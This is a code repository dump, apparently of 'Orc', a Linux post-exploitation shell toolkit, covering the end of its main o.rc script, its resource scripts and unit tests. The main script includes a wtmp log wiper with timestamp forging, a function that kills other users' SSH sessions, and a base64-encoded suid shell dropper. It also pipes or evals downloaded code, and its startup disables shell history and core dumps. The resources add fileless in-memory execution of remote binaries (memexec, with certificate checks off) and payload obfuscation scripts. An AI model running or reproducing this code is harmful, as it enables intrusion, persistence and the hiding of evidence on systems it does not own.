argument' >&2 1450 | return 1 1451 | fi 1452 | utmpdump /var/log/wtmp | grep $orc_colorNever -v "$1" > "$HOME/.l" 1453 | touch -r /var/log/wtmp "$HOME/.l" 1454 | utmpdump -r -o /var/log/wtmp "$HOME/.l" 1455 | touch -r "$HOME/.l" /var/log/wtmp 1456 | } 1457 | 1458 | getrel() { 1459 | # Prints the OS name from the release file. 1460 | # arguments: none 1461 | # output : print to stdout 1462 | # method : Cuts the name from lines like PRETTY_NAME="name". 1463 | awk -F= 'toupper($1)~/PRETTY/ {gsub(/"/,"",$2); print $2}' /etc/*release 1464 | } 1465 | 1466 | hangup() { 1467 | # Terminate someones PTS by killing their SSH process. 1468 | # arguments: Number(s) of PTS. A single number or a list 1469 | # of numbers in the arguments is possible. 1470 | # Or keyword "all" to terminate all PTS connected via SSH. 1471 | # Or keyword "all other" to terminate all but not our SSH. 1472 | if [ $# -lt 1 ]; then 1473 | echo 'Error: hangup functions needs argument: ID number of PTS' >&2 1474 | return 1 1475 | fi 1476 | if [ "$2" = "other" ]; then 1477 | NOT_THIS=$(orc_ourPts) 1478 | else 1479 | NOT_THIS="" 1480 | fi 1481 | if [ "$1" = "all" ]; then 1482 | PTS_LIST=$(ps -eo args | awk -v exclude="$NOT_THIS" ' 1483 | tolower($0) ~ /sshd.*pts\/[0-9]+/ { 1484 | pts=substr($0,index(tolower($0),"pts/")+4); 1485 | if(pts != exclude) print pts }') 1486 | else 1487 | PTS_LIST="$*" 1488 | fi 1489 | echo 'This is seriously rude...' 1490 | for PTS_ID in $PTS_LIST; do 1491 | PTS_NAME="pts/$PTS_ID" 1492 | echo "Terminating $PTS_NAME" 1493 | OWNER=$(stat -c '%U' "/dev/$PTS_NAME") 1494 | if [ "$OWNER" = "" ]; then 1495 | echo "Error: can't get the owner of $PTS_NAME" >&2 1496 | continue 1497 | fi 1498 | echo "Owner of $PTS_NAME is $OWNER" 1499 | SSHD_PID=$(pgrep -a sshd | grep $orc_colorNever "$PTS_NAME" | cut -d ' ' -f 1) 1500 | if [ "$SSHD_PID" = "" ]; then 1501 | echo "Error: can't find SSHD PID of $PTS_NAME" >&2 1502 | continue 1503 | fi 1504 | echo "SSHD PID is $SSHD_PID" 1505 | echo 'Segmentation Fault.' > "/dev/$PTS_NAME" 1506 | sleep 2 1507 | kill -9 "$SSHD_PID" 1508 | done 1509 | } 1510 | 1511 | getdocker () { 1512 | if [ -S "/var/run/docker.sock" ]; then 1513 | if [ -w "/var/run/docker.sock" ]; then 1514 | echo "Listing docker images..." 1515 | docker ps 1516 | else 1517 | echo "Docker socket exists, but we don't have access." 1518 | fi 1519 | else 1520 | echo "Don't see the docker socket. No Docker?" 1521 | fi 1522 | } 1523 | 1524 | getexploit () { 1525 | # Download and run linux-exploit-suggester. 1526 | # need a better way to do this, honestly 1527 | # i'd like to pass the -g argument to the script 1528 | if ! orc_existsProg bash; then 1529 | echo 'Error: bash needed but not found' >&2 1530 | return 1 1531 | fi 1532 | orc_httpsProxyReminder raw.githubusercontent.com 1533 | orc_loadURL 'https://raw.githubusercontent.com/bcoles/linux-exploit-suggester/master/linux-exploit-suggester.sh' | bash 1534 | } 1535 | 1536 | getenum() { 1537 | echo 'Doing some basic listing of the usual suspects...' 1538 | printf 'Kernel: ' 1539 | uname -rv 1540 | printf 'glibc: ' 1541 | readonly libcv="$(ldd "$(command -v id)" | grep $orc_colorNever libc.so | awk -F " " '{print $3}') | grep $orc_colorNever -i version | grep $orc_colorNever -v crypt)" 1542 | $libcv 1543 | printf 'dbus: ' 1544 | dbus-daemon --version | grep $orc_colorNever Daemon 1545 | printf 'Init system is: ' 1546 | # print the true command name of process 1. 1547 | # ps -p 1 is not supported by all systems, e.g. the busybox. 1548 | # So select the PID with the AWK tool 1549 | ps -e -o pid,comm | awk '$1=="1" {print $2}' 1550 | } 1551 | 1552 | 1553 | gettmp () { 1554 | echo 'Typical directories for tmp files:' 1555 | for i in $(orc_listTmp); do 1556 | printf "%s" "$i" 1557 | TTT=0 1558 | if [ -x "$i" ]; then 1559 | printf ' searchable' 1560 | TTT=1 1561 | fi 1562 | if [ -r "$i" ]; then 1563 | printf ' readable' 1564 | TTT=1 1565 | fi 1566 | if [ -w "$i" ]; then 1567 | printf ' writeable' 1568 | TTT=1 1569 | fi 1570 | if [ $TTT -eq 0 ]; then 1571 | echo ' permission denied' 1572 | else 1573 | echo '' 1574 | fi 1575 | done 1576 | } 1577 | 1578 | 1579 | sourceurl () { 1580 | # Source a downloaded script. 1581 | # Argument: The URL to download, https is supported. 1582 | # Global: http(s)_proxy variables will be used. 1583 | if [ $# -ne 1 ]; then 1584 | echo 'Error: argument must be one URL to load' >&2 1585 | return 1 1586 | fi 1587 | eval "$(orc_loadURL "$1")" 1588 | } 1589 | 1590 | 1591 | dropsuid() { 1592 | # drops tiny suid shell 1593 | # usage: dropsuid > [file] 1594 | if ! orc_existsProg base64; then 1595 | echo 'Error: need base64, can not decode tool' >&2 1596 | fi 1597 | base64 -d << ====end 1598 | f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA 1599 | AAAAAIAECACABAgHAAAABwAAAAUAAAAAEAAA6AEAAADpWJCDwAxQw7sAAAAA6bgXAAAAzYDrAem7 1600 | iIAECLgLAAAAMckx0usB6THJzYAAAC9iaW4vc2g= 1601 | ====end 1602 | } 1603 | 1604 | 1605 | tools() { 1606 | # Check for common tools. 1607 | # Arguments: none 1608 | # Prints report to stdout 1609 | if ! orc_existsProg type; then 1610 | echo 'Error: need type, other check methods not yet implemented' >&2 1611 | fi 1612 | # shellcheck disable=SC2039 1613 | type dig perl python gcc nc openssl wget strace gcore nmap gdb curl wget tcpdump 1614 | return 0 1615 | } 1616 | 1617 | 1618 | gethelp() { 1619 | echo " 1620 | A probably non-comprehensive list of functionality in Orc v$OVERSION. 1621 | [*] dropsuid - drop tiny suid shell - dropsuid > [file] 1622 | [*] fpssh - pull ssh remote host fingerprints - fpssh [host] 1623 | [*] getdbus - list all dbus services 1624 | [*] getdocker - check docker socket status, and list images. 1625 | [*] getenum - get kernel, glibc, and dbus versions 1626 | [*] getescape - attempt to escape chroot via bad privs 1627 | [*] on the /proc/ filesystem 1628 | [*] getsctp - check if the box has support for SCTP 1629 | [*] getexploit - download and run linux-exploit-suggester 1630 | [*] getgtfobins - pull a list of the current gtfobins and find which are on the system 1631 | [*] getidle - list all ptys and their idle times accurately. 1632 | [*] getinfo - create a tar.xz of useful command output 1633 | [*] getip - get external IP from akamai and google (HTTP and DNS) 1634 | [*] getjail - check if we're in a chroot/VM 1635 | [*] getluks - attempt to detect disk crypto with lsblk or dmesg 1636 | [*] getnet - attempt to enumerate hosts on the local network with ping 1637 | [*] getpty - pop a pty with script 1638 | [*] getrel - attempt to get the OS release file. 1639 | [*] getsec - check if the big three security MAC programs are around 1640 | [*] getsfiles - list setuid flagged files and setcap files 1641 | [*] getspec - grab some hardware information 1642 | [*] getsuspect - pull my suspect tool from github 1643 | [*] gettmp - list typical directories for tmp files 1644 | [*] getusers - pull all users with a shell 1645 | [*] getuservices - list all running services with non-user accounts in passwd 1646 | [*] hangup - terminate someones PTS by killing their SSH process. 1647 | [*] Very loud, DO NOT USE. 1648 | [*] hangup [PTS NUMBER] 1649 | [*] memexec - execute a binary in-memory from a web-server 1650 | [*] memexec [full URI] [program arguments] 1651 | [*] portscan - run a portscan against common ports - portscan [host] 1652 | [*] prochide - run a program with $0 changed to the longest entry in ps 1653 | [*] prochide [program + args] 1654 | [*] qssh - ssh without a tty - qssh [password] [normal arguments] 1655 | [*] qsu - sudo without a tty - qsu [password] [normal arguments] 1656 | [*] sourceurl - source a downloaded file - sourceurl URL 1657 | [*] srm - alias for secure shredding of files 1658 | [*] stomp - alias for touch -r (needs arguments) 1659 | [*] tools - check for common tools 1660 | [*] wiper - remove entries from wtmp - wiper [string to grep out] 1661 | " 1662 | } 1663 | 1664 | # exit if home directory access is not possible 1665 | cd "$HOME" || exit 1666 | 1667 | alias 'stomp'='touch -r' 1668 | alias 'psfull'='ps -weFH' 1669 | alias 'listener'='netstat -peanuto' 1670 | alias 'netgrep'='netstat -peanuto | grep' 1671 | alias 'getp'='getent passwd' 1672 | 1673 | alias 'psql'='PSQL_HISTORY=/dev/null psql' 1674 | alias 'ssh'='ssh -T -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no' 1675 | alias 'less'='LESSHISTFILE=/dev/null less' 1676 | alias 'wget'='wget --no-hsts' 1677 | alias 'vim'='vim -ni NONE' 1678 | alias 'mysql'='MYSQL_HISTFILE=/dev/null mysql' 1679 | 1680 | unset HISTFILE 1681 | HISTSIZE=0 1682 | umask 002 1683 | if orc_existsProg ulimit; then 1684 | echo 'coredumps disabled by ulimit' 1685 | # disabling shellcheck here, we have checked ulimit existence before. 1686 | # shellcheck disable=SC2039,SC2169 1687 | ulimit -c 0 1688 | elif orc_existsProg limit; then 1689 | echo 'coredumps disabled by limit' 1690 | limit coredumpsize 0 1691 | else 1692 | echo 'Error: no limit/ulimit - coredumps left enabled, careful' >&2 1693 | fi 1694 | 1695 | 1696 | echo "=========== Info ===========" 1697 | echo "Short kernel info: " 1698 | uname -rni 1699 | echo "IP address on the network: " 1700 | if orc_existsProg ifconfig; then 1701 | ifconfig | grep $orc_colorNever inet | grep $orc_colorNever -v inet6 | awk -F " " '{ print $2 }' | grep $orc_colorNever -v 127 | grep $orc_colorNever -v "::1$" 1702 | else 1703 | ip addr show | grep $orc_colorNever inet | grep $orc_colorNever -v inet6 | awk -F " " '{ print $2 }' | grep $orc_colorNever -v 127 | grep $orc_colorNever -v "::1$" 1704 | fi 1705 | printf "We are %s - (%s)\n" "$(id -u)" "$(id -nu)" 1706 | printf "Machine has been " 1707 | uptime -p 1708 | if [ -f /etc/machine-id ]; then 1709 | printf "Unique Machine ID: " 1710 | cat /etc/machine-id 1711 | fi 1712 | echo "============================" 1713 | echo "=== Welcome to Orc Shell ===" 1714 | echo "Run gethelp to see a list of commands." 1715 | echo "$HOME should be deleted upon exit." 1716 | PS1='$USER'"@$(hostname):"'$PWD'"$ " 1717 | NHOME=$(orc_homeOfCurrentUser) 1718 | #rm $ENV 1719 | -------------------------------------------------------------------------------- /resources/README.md: -------------------------------------------------------------------------------- 1 | ## Orc Resources 2 | 3 | The directory resources contains files to support the Orc development. 4 | 5 | The directory resources and the files in this directory are **not** needed 6 | to run o.rc. To run o.rc only the o.rc file is needed. 7 | 8 | The files in the directory resources are only needed during development 9 | the o.rc code. 10 | 11 | ### memexec 12 | 13 | The orc function memexec is based on a Perl or a Python function. 14 | Inside o.rc a shell function calls the Perl or Python interpreter 15 | with the code developed here. 16 | 17 | * **memexec.pl** 18 | The Perl version of the memexec function. 19 | * **memexec.py** 20 | The Python version of the memexec function. 21 | Python 2 and Python 3 interpreters can run this code. 22 | * **echo_arguments.sh** 23 | Test shell script for the memexec function. 24 | The memexec function should be able to start this script. 25 | The script runs with bash, dash, ksh. 26 | * **echo_arguments.c** 27 | C test program for the memexec funtion. 28 | The memexec function should be able to start the compiled program. 29 | The program must be compiled for the desired target system before 30 | memexec can start the binary file. 31 | 32 | ### encoder 33 | 34 | The scripts are stored gziped and base64 encoded in the o.rc file. 35 | Also the comments inside the script files are not stored in the o.rc. 36 | 37 | The encoder shell scripts strips the comments, gzips the file and 38 | base64 encode the binary gzip output. 39 | 40 | * **encode_perl_script.sh** 41 | Shell script to encode a Perl script. 42 | * **encode_python_script.sh** 43 | Shell script to encode a Python script. 44 | 45 | -------------------------------------------------------------------------------- /resources/echo_arguments.c: -------------------------------------------------------------------------------- 1 | /* 2 | * C program to test the memexec script. 3 | * The C program writes the command line arguments to stdout. 4 | * One text line will be written to stderr. 5 | * The exit code of the program is number of arguments - 2, 6 | * so the call "echo_argument a" will return 0. (The program 7 | * name is the first command line argument.) 8 | * 9 | * The C program can be compiled to a binary program 10 | * with the command: 11 | * gcc echo_arguments.c -o echo_arguments 12 | * 13 | * Then the binary program echo_arguments can be stored 14 | * on a web server to load it with the memexec script. 15 | */ 16 | 17 | #include 18 | 19 | int main ( int argc, char** argv ) 20 | { 21 | int i; 22 | puts( "The echo_arguments test program" ); 23 | fputs( "This is a output line to stderr\n", stderr ); 24 | for( i = 0; i < argc; ++i) 25 | printf( "argument %2d is '%s'\n", i, argv[i] ); 26 | printf( "exit code of the test program is %d\n", argc-2 ); 27 | return argc-2; 28 | } 29 | 30 | -------------------------------------------------------------------------------- /resources/echo_arguments.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Shell script to test the memexec script. 4 | # The script writes the command line arguments to stdout. 5 | # One text line will be written to stderr. 6 | # The exit code of the script is number of arguments. 7 | # so the call "echo_argument a" will return 1. 8 | # 9 | # The scrpt echo_arguments can be stored on a web server 10 | # to load it with the memexec script. 11 | # 12 | 13 | echo 'The echo_arguments test script' 14 | echo 'This is a output line to stderr' >&2 15 | for arg; do 16 | echo "argument '$arg'" 17 | done 18 | printf "exit code of the test script is %d\n", $# 19 | exit $# 20 | 21 | 22 | -------------------------------------------------------------------------------- /resources/echo_function.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Shell script to test the sourceurl function. 4 | # The file defines one function. 5 | # 6 | 7 | 8 | echo_function() { 9 | echo 'The echo_function' 10 | for arg; do 11 | echo "argument '$arg'" 12 | done 13 | return 0 14 | } 15 | 16 | -------------------------------------------------------------------------------- /resources/encode_perl_script.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Simple Perl script obfuscation. 4 | # - Removes all comment lines (including #!) 5 | # and empty lines. 6 | # - Removes use strict and use warnings. 7 | # - Compress the striped file with gzip 8 | # - base64 encode the compressed file 9 | # 10 | # gzip and uuencode/uudecode are choosed because they 11 | # are widley used linux tools. 12 | # 13 | # The perl script could be executed by 14 | # $ base64 -d FILE | gzip -d | perl - ARGUMENTS 15 | # where FILE is the file generated by this script and 16 | # ARGUMENTS are the arguments used by the Perl script. 17 | # 18 | 19 | if [ $# -ne 1 ]; then 20 | echo "missing argument: perl script name" >&2 21 | return 1 22 | fi 23 | 24 | # strip comment lines 25 | grep -v '^ *#' "$1" | 26 | # strip empty lines 27 | grep -v '^$' | 28 | # strip "use warnings;" 29 | grep -v '^ *use *warnings *; *$' | 30 | # strip "use strict;" 31 | grep -v '^ *use *strict *; *$' | 32 | # compress 33 | gzip --stdout - | 34 | # base64 encode 35 | base64 - > "$1.base64" 36 | 37 | echo "The compressed and encoded file is $1.base64" 38 | 39 | -------------------------------------------------------------------------------- /resources/encode_python_script.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Simple Pyhon script obfuscation. 4 | # - Removes all comment lines (including #!) 5 | # and empty lines. 6 | # - Compress the striped file with gzip 7 | # - base64 encode the compressed file 8 | # 9 | # gzip and uuencode/uudecode are choosed because they 10 | # are widley used linux tools. 11 | # 12 | # The Python script could be executed by 13 | # $ base64 -d FILE | gzip -d | python - ARGUMENTS 14 | # where FILE is the file generated by this script and 15 | # ARGUMENTS are the arguments used by the Python script. 16 | # 17 | 18 | if [ $# -ne 1 ]; then 19 | echo "missing argument: Python script name" >&2 20 | return 1 21 | fi 22 | 23 | # strip comment lines 24 | grep -v '^ *#' "$1" | 25 | # strip empty lines 26 | grep -v '^$' | 27 | # compress 28 | gzip --stdout - | 29 | # base64 encode 30 | base64 - > "$1.base64" 31 | 32 | echo "The compressed and encoded file is $1.base64" 33 | 34 | -------------------------------------------------------------------------------- /resources/memexec.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | # Load binary program or script file from web server. 4 | # Uses http or https protocol. 5 | # Execute the program or the script without touching the 6 | # file to a storage drive. 7 | # Stores the file in the process memory /proc/id. 8 | # A binary program must be compiled for the architecture of 9 | # the executing system. 10 | # A script file must start with the two characters "#!". 11 | # 12 | # Script arguments: 13 | # 1) URL to load the binary program or script file.. 14 | # 2) Name of program to use for execution, 15 | # The name is only used to start the program. 16 | # But the name must be given in each case to use the same 17 | # command line format. 18 | # 3) optional: arguments passed thru to the program. 19 | # 20 | # Needs Linux kernel >= 3.17 21 | # 22 | # In-Memory-Only ELF Execution (Without tmpfs) 23 | # https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html 24 | # 25 | # System call table 26 | # https://www.lurklurk.org/syscalls.html 27 | # 28 | # Multiarch Architecture Specifiers 29 | # https://wiki.debian.org/Multiarch/Tuples 30 | # 31 | 32 | use warnings; 33 | use strict; 34 | # Import user agent ($ua) and get to file function. 35 | use LWP::Simple qw($ua get getstore); 36 | use Config; 37 | 38 | # use the old if-elsif-else structure to be compatible to 39 | # old perl interpreters. 40 | my $syscallnr = -1; 41 | if($Config{archname} =~ /x86_64-linux/) { 42 | $syscallnr = 319 } 43 | elsif($Config{archname} =~ /i386-linux/) { 44 | $syscallnr = 356 } 45 | elsif($Config{archname} =~ /ia64-linux/) { 46 | $syscallnr = 1340 } 47 | elsif($Config{archname} =~ /(arm|armeb|aarch64)-linux/) { 48 | $syscallnr = 385 } 49 | elsif($Config{archname} =~ /power(pc|pc64|pc64le)-linux/) { 50 | $syscallnr = 360 } 51 | elsif($Config{archname} =~ /(sparc|sparc64)-linux/) { 52 | $syscallnr = 348 } 53 | else { 54 | die "This architecture is not supported, arch='$Config{archname}'" } 55 | 56 | # No check of the SSL certifacte 57 | $ua->ssl_opts(verify_hostname => 0, SSL_verify_mode => 0); 58 | 59 | # 1st Argument of the script is the URL to load 60 | my $url = shift or die "missing argument, the URL"; 61 | # 2nd Argument is the program name to use 62 | my $prog = shift or die "missing argument, program name"; 63 | 64 | # Create an anonymous file with name "" and close-on-exec (=1) flag 65 | # Call memfd_create function via his 64-bit Linux system call number 319 66 | # The call number depends on the architecture. A table archname - number 67 | # could be implemented in the next version. 68 | my $name = ""; 69 | my $fd = syscall($syscallnr, $name, 1); 70 | if($fd == -1) { 71 | die "can't create anon file, $!" } 72 | my $anon = "/proc/$$/fd/$fd"; 73 | 74 | # Copy URL content to the anonymous file 75 | my $code = getstore( $url, $anon ); 76 | if($code != 200) { 77 | die "can't load file from server, status code=$code" } 78 | 79 | # Figure out: Is it a binary file or script file? 80 | # A script file must start with "#!" 81 | open my $fh, '<:raw', $anon; 82 | my $nrbytes = read $fh, my $bytes, 2; 83 | if($nrbytes != 2) { 84 | die "can not read file signature bytes" } 85 | close $fh; 86 | if('#!' eq unpack 'a2', $bytes) { 87 | # Execute a script. 88 | # Use env to start the script interpreter defined in the shebang 89 | system {"env"} '--', $anon, @ARGV } 90 | else { 91 | # Execute the binary program 92 | exec {$anon} $prog, @ARGV 93 | } 94 | 95 | -------------------------------------------------------------------------------- /resources/memexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Load binary program or script file from web server. 5 | # Uses http or https protocol. 6 | # Execute the program or the script without touching the 7 | # file to a storage drive. 8 | # Stores the file in the process memory /proc/id. 9 | # A binary program must be compiled for the architecture of 10 | # the executing system. 11 | # A script file must start with the two characters "#!". 12 | # 13 | # Script arguments: 14 | # 1) URL to load the binary program or script file.. 15 | # 2) Name of program to use for execution, 16 | # The name is only used to start the program. 17 | # But the name must be given in each case to use the same 18 | # command line format. 19 | # 3) optional: arguments passed thru to the program. 20 | # 21 | # Typical this script with "PYTHONHTTPSVERIFY=0 python" to switch of 22 | # the https certificate check. 23 | # 24 | # Needs Linux kernel >= 3.17 25 | # 26 | # In-Memory-Only ELF Execution (Without tmpfs) 27 | # https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html 28 | # 29 | # System call table 30 | # https://www.lurklurk.org/syscalls.html 31 | # 32 | # Multiarch Architecture Specifiers 33 | # https://wiki.debian.org/Multiarch/Tuples 34 | # 35 | 36 | import ctypes 37 | import os 38 | import platform 39 | import sys 40 | 41 | try: 42 | # python 3 version 43 | from urllib.request import urlopen 44 | except ImportError: 45 | # python 2 version 46 | from urllib2 import urlopen 47 | 48 | # System call number of memfd_create depends on the machine 49 | sys_call_numbers = { 50 | 'x86_64': 319, 51 | 'i386': 356, 52 | 'ia64': 1340, 53 | 'arm': 385, 54 | 'armeb': 385, 55 | 'aarch64': 385, 56 | 'powerpc': 360, 57 | 'powerpc64': 360, 58 | 'powerpc64le': 360, 59 | 'sparc': 348, 60 | 'sparc64': 348 61 | } 62 | 63 | try: 64 | 65 | # Find the system call number of memfd_create on the current machine 66 | if platform.system() != 'Linux': 67 | raise RuntimeError('supports only Linux, but found ' + platform.system()) 68 | if platform.machine() not in sys_call_numbers.keys(): 69 | raise RuntimeError('does not support architecture ' + platform.machine()) 70 | sys_call_nr = sys_call_numbers[platform.machine()] 71 | 72 | if len(sys.argv) < 3: 73 | raise RuntimeError('missing arguments: url and program name must be given') 74 | # URL to load the binary program or the script file 75 | url = sys.argv[1] 76 | # Name of the program to used, because there is no filename 77 | name = sys.argv[2] 78 | # optional arguments to pass thru the loaded program 79 | arguments = sys.argv[3:] 80 | 81 | # Create an anonymous file with name '' and close-on-exec (=1) flag 82 | fd = ctypes.CDLL(None).syscall(sys_call_nr, '', 1) 83 | if fd == 1: 84 | raise RuntimeError('can not create anonymous file') 85 | # The name of the anonymous file in the process memory 86 | anon = '/proc/' + str(os.getpid()) + '/fd/' + str(fd) 87 | 88 | # Copy data from server to anonymous file 89 | signature = None 90 | with open(anon, 'wb') as out: 91 | request = urlopen(url) 92 | while True: 93 | buffer = request.read(1048576) 94 | if not buffer: 95 | break 96 | if not signature and len(buffer) > 1: 97 | # File signature is the first two bytes:w 98 | signature = buffer[0:2] 99 | out.write(buffer) 100 | 101 | # Figure out: Is it a binary file or script file? 102 | # A script file must start with "#!" 103 | # "(ord('#'),'#')" is used to support python3 and python2. 104 | if signature and signature[0] in (ord('#'), '#') and signature[1] in (ord('!'), '!'): 105 | # Execute a script 106 | os.system(anon + ' "' + '" "'.join(arguments) + '"') 107 | else: 108 | # Execute a binary program 109 | os.execv(anon, [name, ] + arguments) 110 | 111 | except Exception as error: 112 | print(error) 113 | sys.exit(1) 114 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | ## Orc Tests 2 | 3 | The directory "tests" contains files to support the Orc development. 4 | 5 | The directory "tests" and the files in this directory are **not** needed 6 | to run o.rc. To run o.rc only the o.rc file is needed. 7 | 8 | The files in the directory "tests" are only needed during development 9 | the o.rc code. 10 | 11 | ### start_shunit2.sh script 12 | 13 | The script is called by the Travis CI system. The calls are in the 14 | .travis.yaml file in the root directory. 15 | 16 | The scripts gets the shell interpreter to use as argument. 17 | 18 | The scripts loads the [shunit2](https://github.com/kward/shunit2) 19 | test framework. 20 | 21 | The script starts the test run files. All files "run_shunit2_*.sh" will 22 | be started by the script. 23 | 24 | ### run_shunit2_*.sh scripts 25 | 26 | These scripts tests the Orc code. The Orc files is sourced by the tests scripts. 27 | 28 | The tests are shunit2 based. 29 | 30 | ### scripts_included.sh script 31 | 32 | The script checks the included scripts from the resources subdirectory. 33 | The script compares the base64 encoded ode blocks in the Orc source file 34 | with the current script files. 35 | 36 | -------------------------------------------------------------------------------- /tests/run_shunit2_int.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | # 3 | # Tests with shunit2 test framework. 4 | # 5 | # The script is designed for a start via start_shunit2.sh 6 | # 7 | # Tests of the internal functions are collecte here. 8 | # 9 | # Name of the test functions are "test_FKT" where FKT is the name 10 | # of the tested function. 11 | # 12 | 13 | # The shunit2 framework must be loaded in the ./shunit2 directory. 14 | if [ ! -f ./shunit2/shunit2 ]; then 15 | echo 'Error: missing the shunit2 script' >&2 16 | exit 1 17 | fi 18 | # The o.rc must be located in the cwd directory. 19 | if [ ! -f ./o.rc ]; then 20 | echo 'missing the o.rc script in the cwd' >&2 21 | exit 1 22 | fi 23 | 24 | 25 | test_orc_noop () { 26 | # Test the orc_noop function 27 | output=$(orc_noop) 28 | assertEquals 'returned false' 0 $? 29 | assertNull 'output is not null' "$output" 30 | if [ -n "$output" ]; then echo "--> $output"; fi 31 | error=$(orc_noop 2>&1 > /dev/null) 32 | assertNull 'error message' "$error" 33 | if [ -n "$error" ]; then echo "--> $error"; fi 34 | } 35 | 36 | 37 | test_orc_colorNever () { 38 | # Test the orc_colorNever flag for the grep tool 39 | # The orc_colorNever variable is defined in the o.rc. 40 | # So the shellcheck 2154 must be disabled. 41 | # The varaible must not used with quotes because the 42 | # empty string must not used as argument. 43 | # So the shellcheck 2086 must be disabled. 44 | # shellcheck disable=SC2154,SC2086 45 | output=$(echo 'test' | grep $orc_colorNever 'no' 2>&1) 46 | assertNotEquals 'returned not false' 0 $? 47 | assertNull 'output is not null' "$output" 48 | if [ -n "$output" ]; then echo "--> $output"; fi 49 | # shellcheck disable=SC2154,SC2086 50 | output=$(echo 'test' | grep $orc_colorNever 'test' 2>&1) 51 | assertEquals 'returned false' 0 $? 52 | assertNotNull 'output is null' "$output" 53 | assertEquals 'returned not grep' 'test' "$output" 54 | # shellcheck disable=SC2154,SC2086 55 | output=$(echo 'test' | grep $orc_colorNeveri -q 'no' 2>&1) 56 | assertNotEquals 'returned not false' 0 $? 57 | assertNull 'output is not null' "$output" 58 | if [ -n "$output" ]; then echo "--> $output"; fi 59 | # shellcheck disable=SC2154,SC2086 60 | output=$(echo 'test' | grep $orc_colorNever -q 'test' 2>&1) 61 | assertEquals 'returned false' 0 $? 62 | assertNull 'output is not null' "$output" 63 | output=$(echo 'test' | grep -q 'no' 2>&1) 64 | assertNotEquals 'returned not false' 0 $? 65 | assertNull 'output is not null' "$output" 66 | if [ -n "$output" ]; then echo "--> $output"; fi 67 | output=$(echo 'test' | grep -q 'test' 2>&1) 68 | assertEquals 'returned false' 0 $? 69 | assertNull 'output is not null' "$output" 70 | } 71 | 72 | 73 | test_orc_existsProg () { 74 | # Test the orc_existsProg function 75 | output=$(orc_existsProg orc_noop 2>&1) 76 | assertEquals 'returned false' 0 $? 77 | assertNull 'output is not null' "$output" 78 | if [ -n "$output" ]; then echo "--> $output"; fi 79 | output=$(orc_existsProg ' this is not a program ' 2>&1) 80 | assertNotEquals 'returned not false' 0 $? 81 | assertNull 'output is not null' "$output" 82 | if [ -n "$output" ]; then echo "--> $output"; fi 83 | } 84 | 85 | 86 | test_orc_listArp () { 87 | # Test the orc_listArp function 88 | output=$(orc_listArp) 89 | assertEquals 'returned false' 0 $? 90 | assertNotNull 'output is null' "$output" 91 | # One address = one word per line 92 | assertEquals 'lines and words' "$(echo "$output"|wc -l)" "$(echo "$output"|wc -w)" 93 | error=$(orc_listArp 2>&1 > /dev/null) 94 | assertNull 'error message' "$error" 95 | if [ -n "$error" ]; then echo "--> $error"; fi 96 | } 97 | 98 | 99 | test_orc_listBroadcastAddress () { 100 | # Test the orc_listBroadcastAddress function 101 | output=$(orc_listBroadcastAddress) 102 | assertEquals 'returned false' 0 $? 103 | assertNotNull 'output is null' "$output" 104 | # One address = one word per line 105 | assertEquals 'lines and words' "$(echo "$output"|wc -l)" "$(echo "$output"|wc -w)" 106 | error=$(orc_listBroadcastAddress 2>&1 > /dev/null) 107 | assertNull 'error message' "$error" 108 | if [ -n "$error" ]; then echo "--> $error"; fi 109 | } 110 | 111 | 112 | test_orc_inetAddressAndMask () { 113 | # Test the orc_inetAddressAndMask function 114 | output=$(orc_inetAddressAndMask) 115 | assertEquals 'returned false' 0 $? 116 | assertNotNull 'output is null' "$output" 117 | # One address plus mask per line = two words per line 118 | assertEquals 'lines and words' "$(( $(echo "$output"|wc -l) *2))" "$(echo "$output"|wc -w)" 119 | error=$(orc_inetAddressAndMask 2>&1 > /dev/null) 120 | assertNull 'error message' "$error" 121 | if [ -n "$error" ]; then echo "--> $error"; fi 122 | } 123 | 124 | 125 | test_orc_exportProxySettings () { 126 | # Test the orc_exportProxySettings function 127 | output=$(orc_exportProxySettings 2>&1) 128 | assertEquals 'returned false' 0 $? 129 | assertNull 'output is not null' "$output" 130 | if [ -n "$output" ]; then echo "--> $output"; fi 131 | http_proxy='http-test' 132 | https_proxy='https-test' 133 | output=$(orc_exportProxySettings 2>&1) 134 | orc_exportProxySettings 135 | assertEquals 'returned false' 0 $? 136 | assertEquals 'http_proxy 1' 'http-test' "$(sh -c 'echo $http_proxy')" 137 | assertEquals 'http_proxy 2' 'http-test' "$(sh -c 'echo $HTTP_PROXY')" 138 | assertEquals 'https_proxy 1' 'https-test' "$(sh -c 'echo $https_proxy')" 139 | assertEquals 'https_proxy 2' 'https-test' "$(sh -c 'echo $HTTPS_PROXY')" 140 | http_proxy='' 141 | HTTP_PROXY='http2-test' 142 | https_proxy='' 143 | HTTPS_PROXY='https2-test' 144 | orc_exportProxySettings 145 | assertEquals 'returned false' 0 $? 146 | assertEquals 'http_proxy 3' 'http2-test' "$(sh -c 'echo $http_proxy')" 147 | assertEquals 'http_proxy 4' 'http2-test' "$(sh -c 'echo $HTTP_PROXY')" 148 | assertEquals 'https_proxy 3' 'https2-test' "$(sh -c 'echo $https_proxy')" 149 | assertEquals 'https_proxy 4' 'https2-test' "$(sh -c 'echo $HTTPS_PROXY')" 150 | assertEquals 'http_proxy 5' 'http2-test' "$http_proxy" 151 | assertEquals 'http_proxy 6' 'http2-test' "$HTTP_PROXY" 152 | assertEquals 'https_proxy 5' 'https2-test' "$https_proxy" 153 | assertEquals 'https_proxy 6' 'https2-test' "$HTTPS_PROXY" 154 | # clear http proxy settings for follwing tests 155 | http_proxy='' 156 | HTTP_PROXY='' 157 | https_proxy='' 158 | HTTPS_PROXY='' 159 | } 160 | 161 | 162 | 